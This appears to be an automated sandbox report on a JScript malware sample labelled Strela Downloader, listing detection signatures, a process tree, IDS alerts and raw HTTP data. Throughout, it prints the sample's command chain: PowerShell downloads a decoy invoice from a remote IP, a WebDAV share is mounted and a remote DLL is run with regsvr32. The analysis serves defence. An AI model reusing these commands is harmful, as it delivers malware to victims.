Edit tour

Windows Analysis Report
340651472865228929.js

Overview

General Information

Sample name:	340651472865228929.js
Analysis ID:	1588317
MD5:	ec858c4f7544df829d24c63c67e0916b
SHA1:	e074010db5cdfbee6757190be3684249192af595
SHA256:	a02c5aec566e20850781c83c6d5a948791a87096cabb4f5046702e85bf5e987b
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7076 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4432 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7024 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5408 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7464 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2216 --field-trial-handle=1756,i,7814837121394009984,10454531649186129190,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6768 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5296 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7336 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7076	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ProcessId: 7076, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5296, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7076, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7076, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7076, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7076, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7076, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7076, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 4432, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ProcessId: 7076, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6768, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5296, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7336, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6768, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5296, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7076, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 4432, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:55:41.807496+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:55:39.460469+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 340651472865228929.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 340651472865228929.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:55:39 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 